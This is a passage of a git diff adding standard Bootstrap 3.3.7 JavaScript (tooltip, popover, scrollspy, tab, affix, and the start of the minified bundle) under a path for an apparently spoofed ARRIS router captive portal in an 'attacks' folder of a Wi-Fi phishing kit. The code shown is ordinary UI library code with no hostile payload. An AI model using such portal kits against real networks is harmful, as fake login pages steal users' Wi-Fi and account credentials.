left: pos.left + pos.width / 2 - actualWidth / 2 } : + placement == 'top' ? { top: pos.top - actualHeight, left: pos.left + pos.width / 2 - actualWidth / 2 } : + placement == 'left' ? { top: pos.top + pos.height / 2 - actualHeight / 2, left: pos.left - actualWidth } : + /* placement == 'right' */ { top: pos.top + pos.height / 2 - actualHeight / 2, left: pos.left + pos.width } + + } + + Tooltip.prototype.getViewportAdjustedDelta = function (placement, pos, actualWidth, actualHeight) { + var delta = { top: 0, left: 0 } + if (!this.$viewport) return delta + + var viewportPadding = this.options.viewport && this.options.viewport.padding || 0 + var viewportDimensions = this.getPosition(this.$viewport) + + if (/right|left/.test(placement)) { + var topEdgeOffset = pos.top - viewportPadding - viewportDimensions.scroll + var bottomEdgeOffset = pos.top + viewportPadding - viewportDimensions.scroll + actualHeight + if (topEdgeOffset < viewportDimensions.top) { // top overflow + delta.top = viewportDimensions.top - topEdgeOffset + } else if (bottomEdgeOffset > viewportDimensions.top + viewportDimensions.height) { // bottom overflow + delta.top = viewportDimensions.top + viewportDimensions.height - bottomEdgeOffset + } + } else { + var leftEdgeOffset = pos.left - viewportPadding + var rightEdgeOffset = pos.left + viewportPadding + actualWidth + if (leftEdgeOffset < viewportDimensions.left) { // left overflow + delta.left = viewportDimensions.left - leftEdgeOffset + } else if (rightEdgeOffset > viewportDimensions.right) { // right overflow + delta.left = viewportDimensions.left + viewportDimensions.width - rightEdgeOffset + } + } + + return delta + } + + Tooltip.prototype.getTitle = function () { + var title + var $e = this.$element + var o = this.options + + title = $e.attr('data-original-title') + || (typeof o.title == 'function' ? o.title.call($e[0]) : o.title) + + return title + } + + Tooltip.prototype.getUID = function (prefix) { + do prefix += ~~(Math.random() * 1000000) + while (document.getElementById(prefix)) + return prefix + } + + Tooltip.prototype.tip = function () { + if (!this.$tip) { + this.$tip = $(this.options.template) + if (this.$tip.length != 1) { + throw new Error(this.type + ' `template` option must consist of exactly 1 top-level element!') + } + } + return this.$tip + } + + Tooltip.prototype.arrow = function () { + return (this.$arrow = this.$arrow || this.tip().find('.tooltip-arrow')) + } + + Tooltip.prototype.enable = function () { + this.enabled = true + } + + Tooltip.prototype.disable = function () { + this.enabled = false + } + + Tooltip.prototype.toggleEnabled = function () { + this.enabled = !this.enabled + } + + Tooltip.prototype.toggle = function (e) { + var self = this + if (e) { + self = $(e.currentTarget).data('bs.' + this.type) + if (!self) { + self = new this.constructor(e.currentTarget, this.getDelegateOptions()) + $(e.currentTarget).data('bs.' + this.type, self) + } + } + + if (e) { + self.inState.click = !self.inState.click + if (self.isInStateTrue()) self.enter(self) + else self.leave(self) + } else { + self.tip().hasClass('in') ? self.leave(self) : self.enter(self) + } + } + + Tooltip.prototype.destroy = function () { + var that = this + clearTimeout(this.timeout) + this.hide(function () { + that.$element.off('.' + that.type).removeData('bs.' + that.type) + if (that.$tip) { + that.$tip.detach() + } + that.$tip = null + that.$arrow = null + that.$viewport = null + that.$element = null + }) + } + + + // TOOLTIP PLUGIN DEFINITION + // ========================= + + function Plugin(option) { + return this.each(function () { + var $this = $(this) + var data = $this.data('bs.tooltip') + var options = typeof option == 'object' && option + + if (!data && /destroy|hide/.test(option)) return + if (!data) $this.data('bs.tooltip', (data = new Tooltip(this, options))) + if (typeof option == 'string') data[option]() + }) + } + + var old = $.fn.tooltip + + $.fn.tooltip = Plugin + $.fn.tooltip.Constructor = Tooltip + + + // TOOLTIP NO CONFLICT + // =================== + + $.fn.tooltip.noConflict = function () { + $.fn.tooltip = old + return this + } + +}(jQuery); + +/* ======================================================================== + * Bootstrap: popover.js v3.3.7 + * http://getbootstrap.com/javascript/#popovers + * ======================================================================== + * Copyright 2011-2016 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * ======================================================================== */ + + ++function ($) { + 'use strict'; + + // POPOVER PUBLIC CLASS DEFINITION + // =============================== + + var Popover = function (element, options) { + this.init('popover', element, options) + } + + if (!$.fn.tooltip) throw new Error('Popover requires tooltip.js') + + Popover.VERSION = '3.3.7' + + Popover.DEFAULTS = $.extend({}, $.fn.tooltip.Constructor.DEFAULTS, { + placement: 'right', + trigger: 'click', + content: '', + template: '' + }) + + + // NOTE: POPOVER EXTENDS tooltip.js + // ================================ + + Popover.prototype = $.extend({}, $.fn.tooltip.Constructor.prototype) + + Popover.prototype.constructor = Popover + + Popover.prototype.getDefaults = function () { + return Popover.DEFAULTS + } + + Popover.prototype.setContent = function () { + var $tip = this.tip() + var title = this.getTitle() + var content = this.getContent() + + $tip.find('.popover-title')[this.options.html ? 'html' : 'text'](title) + $tip.find('.popover-content').children().detach().end()[ // we use append for html objects to maintain js events + this.options.html ? (typeof content == 'string' ? 'html' : 'append') : 'text' + ](content) + + $tip.removeClass('fade top bottom left right in') + + // IE8 doesn't accept hiding via the `:empty` pseudo selector, we have to do + // this manually by checking the contents. + if (!$tip.find('.popover-title').html()) $tip.find('.popover-title').hide() + } + + Popover.prototype.hasContent = function () { + return this.getTitle() || this.getContent() + } + + Popover.prototype.getContent = function () { + var $e = this.$element + var o = this.options + + return $e.attr('data-content') + || (typeof o.content == 'function' ? + o.content.call($e[0]) : + o.content) + } + + Popover.prototype.arrow = function () { + return (this.$arrow = this.$arrow || this.tip().find('.arrow')) + } + + + // POPOVER PLUGIN DEFINITION + // ========================= + + function Plugin(option) { + return this.each(function () { + var $this = $(this) + var data = $this.data('bs.popover') + var options = typeof option == 'object' && option + + if (!data && /destroy|hide/.test(option)) return + if (!data) $this.data('bs.popover', (data = new Popover(this, options))) + if (typeof option == 'string') data[option]() + }) + } + + var old = $.fn.popover + + $.fn.popover = Plugin + $.fn.popover.Constructor = Popover + + + // POPOVER NO CONFLICT + // =================== + + $.fn.popover.noConflict = function () { + $.fn.popover = old + return this + } + +}(jQuery); + +/* ======================================================================== + * Bootstrap: scrollspy.js v3.3.7 + * http://getbootstrap.com/javascript/#scrollspy + * ======================================================================== + * Copyright 2011-2016 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * ======================================================================== */ + + ++function ($) { + 'use strict'; + + // SCROLLSPY CLASS DEFINITION + // ========================== + + function ScrollSpy(element, options) { + this.$body = $(document.body) + this.$scrollElement = $(element).is(document.body) ? $(window) : $(element) + this.options = $.extend({}, ScrollSpy.DEFAULTS, options) + this.selector = (this.options.target || '') + ' .nav li > a' + this.offsets = [] + this.targets = [] + this.activeTarget = null + this.scrollHeight = 0 + + this.$scrollElement.on('scroll.bs.scrollspy', $.proxy(this.process, this)) + this.refresh() + this.process() + } + + ScrollSpy.VERSION = '3.3.7' + + ScrollSpy.DEFAULTS = { + offset: 10 + } + + ScrollSpy.prototype.getScrollHeight = function () { + return this.$scrollElement[0].scrollHeight || Math.max(this.$body[0].scrollHeight, document.documentElement.scrollHeight) + } + + ScrollSpy.prototype.refresh = function () { + var that = this + var offsetMethod = 'offset' + var offsetBase = 0 + + this.offsets = [] + this.targets = [] + this.scrollHeight = this.getScrollHeight() + + if (!$.isWindow(this.$scrollElement[0])) { + offsetMethod = 'position' + offsetBase = this.$scrollElement.scrollTop() + } + + this.$body + .find(this.selector) + .map(function () { + var $el = $(this) + var href = $el.data('target') || $el.attr('href') + var $href = /^#./.test(href) && $(href) + + return ($href + && $href.length + && $href.is(':visible') + && [[$href[offsetMethod]().top + offsetBase, href]]) || null + }) + .sort(function (a, b) { return a[0] - b[0] }) + .each(function () { + that.offsets.push(this[0]) + that.targets.push(this[1]) + }) + } + + ScrollSpy.prototype.process = function () { + var scrollTop = this.$scrollElement.scrollTop() + this.options.offset + var scrollHeight = this.getScrollHeight() + var maxScroll = this.options.offset + scrollHeight - this.$scrollElement.height() + var offsets = this.offsets + var targets = this.targets + var activeTarget = this.activeTarget + var i + + if (this.scrollHeight != scrollHeight) { + this.refresh() + } + + if (scrollTop >= maxScroll) { + return activeTarget != (i = targets[targets.length - 1]) && this.activate(i) + } + + if (activeTarget && scrollTop < offsets[0]) { + this.activeTarget = null + return this.clear() + } + + for (i = offsets.length; i--;) { + activeTarget != targets[i] + && scrollTop >= offsets[i] + && (offsets[i + 1] === undefined || scrollTop < offsets[i + 1]) + && this.activate(targets[i]) + } + } + + ScrollSpy.prototype.activate = function (target) { + this.activeTarget = target + + this.clear() + + var selector = this.selector + + '[data-target="' + target + '"],' + + this.selector + '[href="' + target + '"]' + + var active = $(selector) + .parents('li') + .addClass('active') + + if (active.parent('.dropdown-menu').length) { + active = active + .closest('li.dropdown') + .addClass('active') + } + + active.trigger('activate.bs.scrollspy') + } + + ScrollSpy.prototype.clear = function () { + $(this.selector) + .parentsUntil(this.options.target, '.active') + .removeClass('active') + } + + + // SCROLLSPY PLUGIN DEFINITION + // =========================== + + function Plugin(option) { + return this.each(function () { + var $this = $(this) + var data = $this.data('bs.scrollspy') + var options = typeof option == 'object' && option + + if (!data) $this.data('bs.scrollspy', (data = new ScrollSpy(this, options))) + if (typeof option == 'string') data[option]() + }) + } + + var old = $.fn.scrollspy + + $.fn.scrollspy = Plugin + $.fn.scrollspy.Constructor = ScrollSpy + + + // SCROLLSPY NO CONFLICT + // ===================== + + $.fn.scrollspy.noConflict = function () { + $.fn.scrollspy = old + return this + } + + + // SCROLLSPY DATA-API + // ================== + + $(window).on('load.bs.scrollspy.data-api', function () { + $('[data-spy="scroll"]').each(function () { + var $spy = $(this) + Plugin.call($spy, $spy.data()) + }) + }) + +}(jQuery); + +/* ======================================================================== + * Bootstrap: tab.js v3.3.7 + * http://getbootstrap.com/javascript/#tabs + * ======================================================================== + * Copyright 2011-2016 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * ======================================================================== */ + + ++function ($) { + 'use strict'; + + // TAB CLASS DEFINITION + // ==================== + + var Tab = function (element) { + // jscs:disable requireDollarBeforejQueryAssignment + this.element = $(element) + // jscs:enable requireDollarBeforejQueryAssignment + } + + Tab.VERSION = '3.3.7' + + Tab.TRANSITION_DURATION = 150 + + Tab.prototype.show = function () { + var $this = this.element + var $ul = $this.closest('ul:not(.dropdown-menu)') + var selector = $this.data('target') + + if (!selector) { + selector = $this.attr('href') + selector = selector && selector.replace(/.*(?=#[^\s]*$)/, '') // strip for ie7 + } + + if ($this.parent('li').hasClass('active')) return + + var $previous = $ul.find('.active:last a') + var hideEvent = $.Event('hide.bs.tab', { + relatedTarget: $this[0] + }) + var showEvent = $.Event('show.bs.tab', { + relatedTarget: $previous[0] + }) + + $previous.trigger(hideEvent) + $this.trigger(showEvent) + + if (showEvent.isDefaultPrevented() || hideEvent.isDefaultPrevented()) return + + var $target = $(selector) + + this.activate($this.closest('li'), $ul) + this.activate($target, $target.parent(), function () { + $previous.trigger({ + type: 'hidden.bs.tab', + relatedTarget: $this[0] + }) + $this.trigger({ + type: 'shown.bs.tab', + relatedTarget: $previous[0] + }) + }) + } + + Tab.prototype.activate = function (element, container, callback) { + var $active = container.find('> .active') + var transition = callback + && $.support.transition + && ($active.length && $active.hasClass('fade') || !!container.find('> .fade').length) + + function next() { + $active + .removeClass('active') + .find('> .dropdown-menu > .active') + .removeClass('active') + .end() + .find('[data-toggle="tab"]') + .attr('aria-expanded', false) + + element + .addClass('active') + .find('[data-toggle="tab"]') + .attr('aria-expanded', true) + + if (transition) { + element[0].offsetWidth // reflow for transition + element.addClass('in') + } else { + element.removeClass('fade') + } + + if (element.parent('.dropdown-menu').length) { + element + .closest('li.dropdown') + .addClass('active') + .end() + .find('[data-toggle="tab"]') + .attr('aria-expanded', true) + } + + callback && callback() + } + + $active.length && transition ? + $active + .one('bsTransitionEnd', next) + .emulateTransitionEnd(Tab.TRANSITION_DURATION) : + next() + + $active.removeClass('in') + } + + + // TAB PLUGIN DEFINITION + // ===================== + + function Plugin(option) { + return this.each(function () { + var $this = $(this) + var data = $this.data('bs.tab') + + if (!data) $this.data('bs.tab', (data = new Tab(this))) + if (typeof option == 'string') data[option]() + }) + } + + var old = $.fn.tab + + $.fn.tab = Plugin + $.fn.tab.Constructor = Tab + + + // TAB NO CONFLICT + // =============== + + $.fn.tab.noConflict = function () { + $.fn.tab = old + return this + } + + + // TAB DATA-API + // ============ + + var clickHandler = function (e) { + e.preventDefault() + Plugin.call($(this), 'show') + } + + $(document) + .on('click.bs.tab.data-api', '[data-toggle="tab"]', clickHandler) + .on('click.bs.tab.data-api', '[data-toggle="pill"]', clickHandler) + +}(jQuery); + +/* ======================================================================== + * Bootstrap: affix.js v3.3.7 + * http://getbootstrap.com/javascript/#affix + * ======================================================================== + * Copyright 2011-2016 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * ======================================================================== */ + + ++function ($) { + 'use strict'; + + // AFFIX CLASS DEFINITION + // ====================== + + var Affix = function (element, options) { + this.options = $.extend({}, Affix.DEFAULTS, options) + + this.$target = $(this.options.target) + .on('scroll.bs.affix.data-api', $.proxy(this.checkPosition, this)) + .on('click.bs.affix.data-api', $.proxy(this.checkPositionWithEventLoop, this)) + + this.$element = $(element) + this.affixed = null + this.unpin = null + this.pinnedOffset = null + + this.checkPosition() + } + + Affix.VERSION = '3.3.7' + + Affix.RESET = 'affix affix-top affix-bottom' + + Affix.DEFAULTS = { + offset: 0, + target: window + } + + Affix.prototype.getState = function (scrollHeight, height, offsetTop, offsetBottom) { + var scrollTop = this.$target.scrollTop() + var position = this.$element.offset() + var targetHeight = this.$target.height() + + if (offsetTop != null && this.affixed == 'top') return scrollTop < offsetTop ? 'top' : false + + if (this.affixed == 'bottom') { + if (offsetTop != null) return (scrollTop + this.unpin <= position.top) ? false : 'bottom' + return (scrollTop + targetHeight <= scrollHeight - offsetBottom) ? false : 'bottom' + } + + var initializing = this.affixed == null + var colliderTop = initializing ? scrollTop : position.top + var colliderHeight = initializing ? targetHeight : height + + if (offsetTop != null && scrollTop <= offsetTop) return 'top' + if (offsetBottom != null && (colliderTop + colliderHeight >= scrollHeight - offsetBottom)) return 'bottom' + + return false + } + + Affix.prototype.getPinnedOffset = function () { + if (this.pinnedOffset) return this.pinnedOffset + this.$element.removeClass(Affix.RESET).addClass('affix') + var scrollTop = this.$target.scrollTop() + var position = this.$element.offset() + return (this.pinnedOffset = position.top - scrollTop) + } + + Affix.prototype.checkPositionWithEventLoop = function () { + setTimeout($.proxy(this.checkPosition, this), 1) + } + + Affix.prototype.checkPosition = function () { + if (!this.$element.is(':visible')) return + + var height = this.$element.height() + var offset = this.options.offset + var offsetTop = offset.top + var offsetBottom = offset.bottom + var scrollHeight = Math.max($(document).height(), $(document.body).height()) + + if (typeof offset != 'object') offsetBottom = offsetTop = offset + if (typeof offsetTop == 'function') offsetTop = offset.top(this.$element) + if (typeof offsetBottom == 'function') offsetBottom = offset.bottom(this.$element) + + var affix = this.getState(scrollHeight, height, offsetTop, offsetBottom) + + if (this.affixed != affix) { + if (this.unpin != null) this.$element.css('top', '') + + var affixType = 'affix' + (affix ? '-' + affix : '') + var e = $.Event(affixType + '.bs.affix') + + this.$element.trigger(e) + + if (e.isDefaultPrevented()) return + + this.affixed = affix + this.unpin = affix == 'bottom' ? this.getPinnedOffset() : null + + this.$element + .removeClass(Affix.RESET) + .addClass(affixType) + .trigger(affixType.replace('affix', 'affixed') + '.bs.affix') + } + + if (affix == 'bottom') { + this.$element.offset({ + top: scrollHeight - height - offsetBottom + }) + } + } + + + // AFFIX PLUGIN DEFINITION + // ======================= + + function Plugin(option) { + return this.each(function () { + var $this = $(this) + var data = $this.data('bs.affix') + var options = typeof option == 'object' && option + + if (!data) $this.data('bs.affix', (data = new Affix(this, options))) + if (typeof option == 'string') data[option]() + }) + } + + var old = $.fn.affix + + $.fn.affix = Plugin + $.fn.affix.Constructor = Affix + + + // AFFIX NO CONFLICT + // ================= + + $.fn.affix.noConflict = function () { + $.fn.affix = old + return this + } + + + // AFFIX DATA-API + // ============== + + $(window).on('load', function () { + $('[data-spy="affix"]').each(function () { + var $spy = $(this) + var data = $spy.data() + + data.offset = data.offset || {} + + if (data.offsetBottom != null) data.offset.bottom = data.offsetBottom + if (data.offsetTop != null) data.offset.top = data.offsetTop + + Plugin.call($spy, data) + }) + }) + +}(jQuery); diff --git a/attacks/Captive Portal/sites/ARRIS_en.portal/js/bootstrap.min.js b/attacks/Captive Portal/sites/ARRIS_en.portal/js/bootstrap.min.js new file mode 100644 index 0000000..9bcd2fc --- /dev/null +++ b/attacks/Captive Portal/sites/ARRIS_en.portal/js/bootstrap.min.js @@ -0,0 +1,7 @@ +/*! + * Bootstrap v3.3.7 (http://getbootstrap.com) + * Copyright 2011-2016 Twitter, Inc. + * Licensed under the MIT license + */ +if("undefined"==typeof jQuery)throw new Error("Bootstrap's JavaScript requires jQuery");+function(a){"use strict";var b=a.fn.jquery.split(" ")[0].split(".");if(b[0]<2&&b[1]<9||1==b[0]&&9==b[1]&&b[2]<1||b[0]>3)throw new Error("Bootstrap's JavaScript requires jQuery version 1.9.1 or higher, but lower than version 4")}(jQuery),+function(a){"use strict";function b(){var a=document.createElement("bootstrap"),b={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"};for(var c in b)if(void 0!==a.style[c])return{end:b[c]};return!1}a.fn.emulateTransitionEnd=function(b){var c=!1,d=this;a(this).one("bsTransitionEnd",function(){c=!0});var e=function(){c||a(d).trigger(a.support.transition.end)};return setTimeout(e,b),this},a(function(){a.support.transition=b(),a.support.transition&&(a.event.special.bsTransitionEnd={bindType:a.support.transition.end,delegateType:a.support.transition.end,handle:function(b){if(a(b.target).is(this))return b.handleObj.handler.apply(this,arguments)}})})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var c=a(this),e=c.data("bs.alert");e||c.data("bs.alert",e=new d(this)),"string"==typeof b&&e[b].call(c)})}var c='[data-dismiss="alert"]',d=function(b){a(b).on("click",c,this.close)};d.VERSION="3.3.7",d.TRANSITION_DURATION=150,d.prototype.close=function(b){function c(){g.detach().trigger("closed.bs.alert").remove()}var e=a(this),f=e.attr("data-target");f||(f=e.attr("href"),f=f&&f.replace(/.*(?=#[^\s]*$)/,""));var g=a("#"===f?[]:f);b&&b.preventDefault(),g.length||(g=e.closest(".alert")),g.trigger(b=a.Event("close.bs.alert")),b.isDefaultPrevented()||(g.removeClass("in"),a.support.transition&&g.hasClass("fade")?g.one("bsTransitionEnd",c).emulateTransitionEnd(d.TRANSITION_DURATION):c())};var e=a.fn.alert;a.fn.alert=b,a.fn.alert.Constructor=d,a.fn.alert.noConflict=function(){return a.fn.alert=e,this},a(document).on("click.bs.alert.data-api",c,d.prototype.close)}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.button"),f="object"==typeof b&&b;e||d.data("bs.button",e=new c(this,f)),"toggle"==b?e.toggle():b&&e.setState(b)})}var c=function(b,d){this.$element=a(b),this.options=a.extend({},c.DEFAULTS,d),this.isLoading=!1};c.VERSION="3.3.7",c.DEFAULTS={loadingText:"loading..."},c.prototype.setState=function(b){var c="disabled",d=this.$element,e=d.is("input")?"val":"html",f=d.data();b+="Text",null==f.resetText&&d.data("resetText",d[e]()),setTimeout(a.proxy(function(){d[e](null==f[b]?this.options[b]:f[b]),"loadingText"==b?(this.isLoading=!0,d.addClass(c).attr(c,c).prop(c,!0)):this.isLoading&&(this.isLoading=!1,d.removeClass(c).removeAttr(c).prop(c,!1))},this),0)},c.prototype.toggle=function(){var a=!0,b=this.$element.closest('[data-toggle="buttons"]');if(b.length){var c=this.$element.find("input");"radio"==c.prop("type")?(c.prop("checked")&&(a=!1),b.find(".active").removeClass("active"),this.$element.addClass("active")):"checkbox"==c.prop("type")&&(c.prop("checked")!==this.$element.hasClass("active")&&(a=!1),this.$element.toggleClass("active")),c.prop("checked",this.$element.hasClass("active")),a&&c.trigger("change")}else this.$element.attr("aria-pressed",!this.$element.hasClass("active")),this.$element.toggleClass("active")};var d=a.fn.button;a.fn.button=b,a.fn.button.Constructor=c,a.fn.button.noConflict=function(){return a.fn.button=d,this},a(document).on("click.bs.button.data-api",'[data-toggle^="button"]',function(c){var d=a(c.target).closest(".btn");b.call(d,"toggle"),a(c.target).is('input[type="radio"], input[type="checkbox"]')||(c.preventDefault(),d.is("input,button")?d.trigger("focus"):d.find("input:visible,button:visible").first().trigger("focus"))}).on("focus.bs.button.data-api blur.bs.button.data-api",'[data-toggle^="button"]',function(b){a(b.target).closest(".btn").toggleClass("focus",/^focus(in)?$/.test(b.type))})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.carousel"),f=a.extend({},c.DEFAULTS,d.data(),"object"==typeof b&&b),g="string"==typeof b?b:f.slide;e||d.data("bs.carousel",e=new c(this,f)),"number"==typeof b?e.to(b):g?e[g]():f.interval&&e.pause().cycle()})}var c=function(b,c){this.$element=a(b),this.$indicators=this.$element.find(".carousel-indicators"),this.options=c,this.paused=null,this.sliding=null,this.interval=null,this.$active=null,this.$items=null,this.options.keyboard&&this.$element.on("keydown.bs.carousel",a.proxy(this.keydown,this)),"hover"==this.options.pause&&!("ontouchstart"in document.documentElement)&&this.$element.on("mouseenter.bs.carousel",a.proxy(this.pause,this)).on("mouseleave.bs.carousel",a.proxy(this.cycle,this))};c.VERSION="3.3.7",c.TRANSITION_DURATION=600,c.DEFAULTS={interval:5e3,pause:"hover",wrap:!0,keyboard:!0},c.prototype.keydown=function(a){if(!/input|textarea/i.test(a.target.tagName)){switch(a.which){case 37:this.prev();break;case 39:this.next();break;default:return}a.preventDefault()}},c.prototype.cycle=function(b){return b||(this.paused=!1),this.interval&&clearInterval(this.interval),this.options.interval&&!this.paused&&(this.interval=setInterval(a.proxy(this.next,this),this.options.interval)),this},c.prototype.getItemIndex=function(a){return this.$items=a.parent().children(".item"),this.$items.index(a||this.$active)},c.prototype.getItemForDirection=function(a,b){var c=this.getItemIndex(b),d="prev"==a&&0===c||"next"==a&&c==this.$items.length-1;if(d&&!this.options.wrap)return b;var e="prev"==a?-1:1,f=(c+e)%this.$items.length;return this.$items.eq(f)},c.prototype.to=function(a){var b=this,c=this.getItemIndex(this.$active=this.$element.find(".item.active"));if(!(a>this.$items.length-1||a<0))return this.sliding?this.$element.one("slid.bs.carousel",function(){b.to(a)}):c==a?this.pause().cycle():this.slide(a>c?"next":"prev",this.$items.eq(a))},c.prototype.pause=function(b){return b||(this.paused=!0),this.$element.find(".next, .prev").length&&a.support.transition&&(this.$element.trigger(a.support.transition.end),this.cycle(!0)),this.interval=clearInterval(this.interval),this},c.prototype.next=function(){if(!this.sliding)return this.slide("next")},c.prototype.prev=function(){if(!this.sliding)return this.slide("prev")},c.prototype.slide=function(b,d){var e=this.$element.find(".item.active"),f=d||this.getItemForDirection(b,e),g=this.interval,h="next"==b?"left":"right",i=this;if(f.hasClass("active"))return this.sliding=!1;var j=f[0],k=a.Event("slide.bs.carousel",{relatedTarget:j,direction:h});if(this.$element.trigger(k),!k.isDefaultPrevented()){if(this.sliding=!0,g&&this.pause(),this.$indicators.length){this.$indicators.find(".active").removeClass("active");var l=a(this.$indicators.children()[this.getItemIndex(f)]);l&&l.addClass("active")}var m=a.Event("slid.bs.carousel",{relatedTarget:j,direction:h});return a.support.transition&&this.$element.hasClass("slide")?(f.addClass(b),f[0].offsetWidth,e.addClass(h),f.addClass(h),e.one("bsTransitionEnd",function(){f.removeClass([b,h].join(" ")).addClass("active"),e.removeClass(["active",h].join(" ")),i.sliding=!1,setTimeout(function(){i.$element.trigger(m)},0)}).emulateTransitionEnd(c.TRANSITION_DURATION)):(e.removeClass("active"),f.addClass("active"),this.sliding=!1,this.$element.trigger(m)),g&&this.cycle(),this}};var d=a.fn.carousel;a.fn.carousel=b,a.fn.carousel.Constructor=c,a.fn.carousel.noConflict=function(){return a.fn.carousel=d,this};var e=function(c){var d,e=a(this),f=a(e.attr("data-target")||(d=e.attr("href"))&&d.replace(/.*(?=#[^\s]+$)/,""));if(f.hasClass("carousel")){var g=a.extend({},f.data(),e.data()),h=e.attr("data-slide-to");h&&(g.interval=!1),b.call(f,g),h&&f.data("bs.carousel").to(h),c.preventDefault()}};a(document).on("click.bs.carousel.data-api","[data-slide]",e).on("click.bs.carousel.data-api","[data-slide-to]",e),a(window).on("load",function(){a('[data-ride="carousel"]').each(function(){var c=a(this);b.call(c,c.data())})})}(jQuery),+function(a){"use strict";function b(b){var c,d=b.attr("data-target")||(c=b.attr("href"))&&c.replace(/.*(?=#[^\s]+$)/,"");return a(d)}function c(b){return this.each(function(){var c=a(this),e=c.data("bs.collapse"),f=a.extend({},d.DEFAULTS,c.data(),"object"==typeof b&&b);!e&&f.toggle&&/show|hide/.test(b)&&(f.toggle=!1),e||c.data("bs.collapse",e=new d(this,f)),"string"==typeof b&&e[b]()})}var d=function(b,c){this.$element=a(b),this.options=a.extend({},d.DEFAULTS,c),this.$trigger=a('[data-toggle="collapse"][href="#'+b.id+'"],[data-toggle="collapse"][data-target="#'+b.id+'"]'),this.transitioning=null,this.options.parent?this.$parent=this.getParent():this.addAriaAndCollapsedClass(this.$element,this.$trigger),this.options.toggle&&this.toggle()};d.VERSION="3.3.7",d.TRANSITION_DURATION=350,d.DEFAULTS={toggle:!0},d.prototype.dimension=function(){var a=this.$element.hasClass("width");return a?"width":"height"},d.prototype.show=function(){if(!this.transitioning&&!this.$element.hasClass("in")){var b,e=this.$parent&&this.$parent.children(".panel").children(".in, .collapsing");if(!(e&&e.length&&(b=e.data("bs.collapse"),b&&b.transitioning))){var f=a.Event("show.bs.collapse");if(this.$element.trigger(f),!f.isDefaultPrevented()){e&&e.length&&(c.call(e,"hide"),b||e.data("bs.collapse",null));var g=this.dimension();this.$element.removeClass("collapse").addClass("collapsing")[g](0).attr("aria-expanded",!0),this.$trigger.removeClass("collapsed").attr("aria-expanded",!0),this.transitioning=1;var h=function(){this.$element.removeClass("collapsing").addClass("collapse in")[g](""),this.transitioning=0,this.$element.trigger("shown.bs.collapse")};if(!a.support.transition)return h.call(this);var i=a.camelCase(["scroll",g].join("-"));this.$element.one("bsTransitionEnd",a.proxy(h,this)).emulateTransitionEnd(d.TRANSITION_DURATION)[g](this.$element[0][i])}}}},d.prototype.hide=function(){if(!this.transitioning&&this.$element.hasClass("in")){var b=a.Event("hide.bs.collapse");if(this.$element.trigger(b),!b.isDefaultPrevented()){var c=this.dimension();this.$element[c](this.$element[c]())[0].offsetHeight,this.$element.addClass("collapsing").removeClass("collapse in").attr("aria-expanded",!1),this.$trigger.addClass("collapsed").attr("aria-expanded",!1),this.transitioning=1;var e=function(){this.transitioning=0,this.$element.removeClass("collapsing").addClass("collapse").trigger("hidden.bs.collapse")};return a.support.transition?void this.$element[c](0).one("bsTransitionEnd",a.proxy(e,this)).emulateTransitionEnd(d.TRANSITION_DURATION):e.call(this)}}},d.prototype.toggle=function(){this[this.$element.hasClass("in")?"hide":"show"]()},d.prototype.getParent=function(){return a(this.options.parent).find('[data-toggle="collapse"][data-parent="'+this.options.parent+'"]').each(a.proxy(function(c,d){var e=a(d);this.addAriaAndCollapsedClass(b(e),e)},this)).end()},d.prototype.addAriaAndCollapsedClass=function(a,b){var c=a.hasClass("in");a.attr("aria-expanded",c),b.toggleClass("collapsed",!c).attr("aria-expanded",c)};var e=a.fn.collapse;a.fn.collapse=c,a.fn.collapse.Constructor=d,a.fn.collapse.noConflict=function(){return a.fn.collapse=e,this},a(document).on("click.bs.collapse.data-api",'[data-toggle="collapse"]',function(d){var e=a(this);e.attr("data-target")||d.preventDefault();var f=b(e),g=f.data("bs.collapse"),h=g?"toggle":e.data();c.call(f,h)})}(jQuery),+function(a){"use strict";function b(b){var c=b.attr("data-target");c||(c=b.attr("href"),c=c&&/#[A-Za-z]/.test(c)&&c.replace(/.*(?=#[^\s]*$)/,""));var d=c&&a(c);return d&&d.length?d:b.parent()}function c(c){c&&3===c.which||(a(e).remove(),a(f).each(function(){var d=a(this),e=b(d),f={relatedTarget:this};e.hasClass("open")&&(c&&"click"==c.type&&/input|textarea/i.test(c.target.tagName)&&a.contains(e[0],c.target)||(e.trigger(c=a.Event("hide.bs.dropdown",f)),c.isDefaultPrevented()||(d.attr("aria-expanded","false"),e.removeClass("open").trigger(a.Event("hidden.bs.dropdown",f)))))}))}function d(b){return this.each(function(){var c=a(this),d=c.data("bs.dropdown");d||c.data("bs.dropdown",d=new g(this)),"string"==typeof b&&d[b].call(c)})}var e=".dropdown-backdrop",f='[data-toggle="dropdown"]',g=function(b){a(b).on("click.bs.dropdown",this.toggle)};g.VERSION="3.3.7",g.prototype.toggle=function(d){var e=a(this);if(!e.is(".disabled, :disabled")){var f=b(e),g=f.hasClass("open");if(c(),!g){"ontouchstart"in document.documentElement&&!f.closest(".navbar-nav").length&&a(document.createElement("div")).addClass("dropdown-backdrop").insertAfter(a(this)).on("click",c);var h={relatedTarget:this};if(f.trigger(d=a.Event("show.bs.dropdown",h)),d.isDefaultPrevented())return;e.trigger("focus").attr("aria-expanded","true"),f.toggleClass("open").trigger(a.Event("shown.bs.dropdown",h))}return!1}},g.prototype.keydown=function(c){if(/(38|40|27|32)/.test(c.which)&&!/input|textarea/i.test(c.target.tagName)){var d=a(this);if(c.preventDefault(),c.stopPropagation(),!d.is(".disabled, :disabled")){var e=b(d),g=e.hasClass("open");if(!g&&27!=c.which||g&&27==c.which)return 27==c.which&&e.find(f).trigger("focus"),d.trigger("click");var h=" li:not(.disabled):visible a",i=e.find(".dropdown-menu"+h);if(i.length){var 